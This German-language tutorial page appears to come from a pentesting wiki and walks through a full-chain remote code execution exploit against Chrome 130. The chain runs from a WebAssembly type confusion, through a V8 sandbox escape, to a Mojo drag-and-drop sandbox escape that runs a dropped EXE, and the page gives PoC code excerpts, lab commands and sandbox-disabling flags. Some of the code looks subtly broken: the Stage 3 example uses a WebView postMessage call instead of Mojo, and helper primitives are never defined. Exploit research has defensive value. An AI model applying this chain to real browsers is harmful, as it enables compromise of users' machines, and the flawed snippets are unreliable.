Chrome Exploiting

Reading time: 6 minutes

Diese Seite bietet einen hochrangigen, aber praktischen Überblick über einen modernen "Full-Chain"-Exploits-Workflow gegen Google Chrome 130, basierend auf der Forschungsreihe „101 Chrome Exploitation” (Teil-0 — Vorwort). Das Ziel ist es, Pentestern und Exploit-Entwicklern den minimalen Hintergrund zu geben, der notwendig ist, um die Techniken zu reproduzieren oder für ihre eigene Forschung anzupassen.

1. Chrome-Architektur Rückblick

Das Verständnis der Angriffsfläche erfordert Wissen darüber, wo Code ausgeführt wird und welche Sandboxes gelten.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8-Sandbox (Isolate): Die Speichergenehmigungen sind eingeschränkt, um willkürliches Lesen/Schreiben von JITed JS / Wasm zu verhindern.
• Renderer ↔ Browser-Trennung wird durch Mojo/IPC Nachrichtenübertragung sichergestellt; der Renderer hat keinen nativen FS-/Netzwerkzugriff.
• OS-Sandboxes enthalten jeden Prozess weiter (Windows Integrity Levels / seccomp-bpf / macOS Sandbox-Profile).

Ein entfernter Angreifer benötigt daher drei aufeinanderfolgende Primitiven:

1. Speicherbeschädigung innerhalb von V8, um willkürliches RW innerhalb des V8-Heaps zu erhalten.
2. Ein zweiter Fehler, der es dem Angreifer ermöglicht, aus dem V8-Sandbox in den gesamten Renderer-Speicher zu entkommen.
3. Ein endgültiger Sandbox-Entkommen (oft Logik statt Speicherbeschädigung), um Code außerhalb der Chrome OS-Sandbox auszuführen.

2. Stage 1 – WebAssembly Typverwirrung (CVE-2025-0291)

Ein Fehler in der Turboshaft-Optimierung von TurboFan klassifiziert WasmGC-Referenztypen falsch, wenn der Wert innerhalb einer einzelnen Grundblockschleife erzeugt und konsumiert wird.

Wirkung:

• Der Compiler überspringt die Typprüfung, behandelt eine Referenz (externref/anyref) als int64.
• Ausgeklügeltes Wasm ermöglicht das Überlappen eines JS-Objekt-Headers mit von Angreifern kontrollierten Daten → addrOf() & fakeObj() AAW / AAR-Primitiven.

Minimales PoC (Auszug):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Trigger-Optimierung & Spray-Objekte aus JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: willkürliches Lesen/Schreiben innerhalb von V8.

3. Stage 2 – Ausbrechen aus dem V8 Sandbox (issue 379140430)

Wenn eine Wasm-Funktion tier-up-compiliert wird, wird ein JS ↔ Wasm Wrapper generiert. Ein Signatur-Mismatch-Bug verursacht, dass der Wrapper über das Ende eines vertrauenswürdigen Tuple2 Objekts hinaus schreibt, wenn die Wasm-Funktion während sie sich noch im Stack befindet neu optimiert wird.

Das Überschreiben der 2 × 64-Bit-Felder des Tuple2 Objekts ermöglicht Lesen/Schreiben an jeder Adresse im Renderer-Prozess, wodurch die V8 Sandbox effektiv umgangen wird.

Wichtige Schritte im Exploit:

1. Bringen Sie die Funktion in den Tier-Up Zustand, indem Sie zwischen turbofan/baseline Code wechseln.
2. Triggern Sie den Tier-Up, während Sie eine Referenz im Stack behalten (Function.prototype.apply).
3. Verwenden Sie Stage-1 AAR/AAW, um das angrenzende Tuple2 zu finden und zu korrumpieren.

Wrapper-Identifikation:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Nach der Korruption verfügen wir über ein voll funktionsfähiges Renderer R/W-Primitiv.

4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

Die Mojo IPC-Schnittstelle blink.mojom.DragService.startDragging() kann vom Renderer mit teilweise vertrauenswürdigen Parametern aufgerufen werden. Durch das Erstellen einer DragData-Struktur, die auf einen beliebigen Dateipfad zeigt, überzeugt der Renderer den Browser, ein natives Drag-and-Drop außerhalb des Renderer-Sandboxes durchzuführen.

Durch den Missbrauch hiervon können wir programmgesteuert eine bösartige EXE (zuvor an einem weltweit beschreibbaren Ort abgelegt) auf den Desktop „ziehen“, wo Windows bestimmte Dateitypen automatisch ausführt, sobald sie abgelegt werden.

Beispiel (vereinfacht):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Keine zusätzliche Speicherbeschädigung ist erforderlich – der Logikfehler ermöglicht uns die Ausführung beliebiger Dateien mit den Rechten des Benutzers.

5. Vollständiger Kettenfluss

1. Benutzer besucht bösartige Webseite.
2. Stufe 1: Wasm-Modul missbraucht CVE-2025-0291 → V8 Heap AAR/AAW.
3. Stufe 2: Wrapper-Mismatch beschädigt Tuple2 → V8-Sandbox umgehen.
4. Stufe 3: startDragging() IPC → OS-Sandbox umgehen & Payload ausführen.

Ergebnis: Remote Code Execution (RCE) auf dem Host (Chrome 130, Windows/Linux/macOS).

6. Labor- & Debugging-Setup

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Nützliche Flags beim Starten eines Entwicklungs-Builds von Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

• WebAssembly JIT-Bugs bleiben ein zuverlässiger Einstiegspunkt – das Typsystem ist noch jung.
• Das Erlangen eines zweiten Speicherbeschädigungsbugs innerhalb von V8 (z.B. Wrapper-Mismatch) vereinfacht V8-Sandbox-Umgehung erheblich.
• Logikschwächen in privilegierten Mojo IPC-Schnittstellen sind oft ausreichend für eine endgültige Sandbox-Umgehung – achten Sie auf nicht-speicherbezogene Bugs.

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium-Sicherheitsarchitektur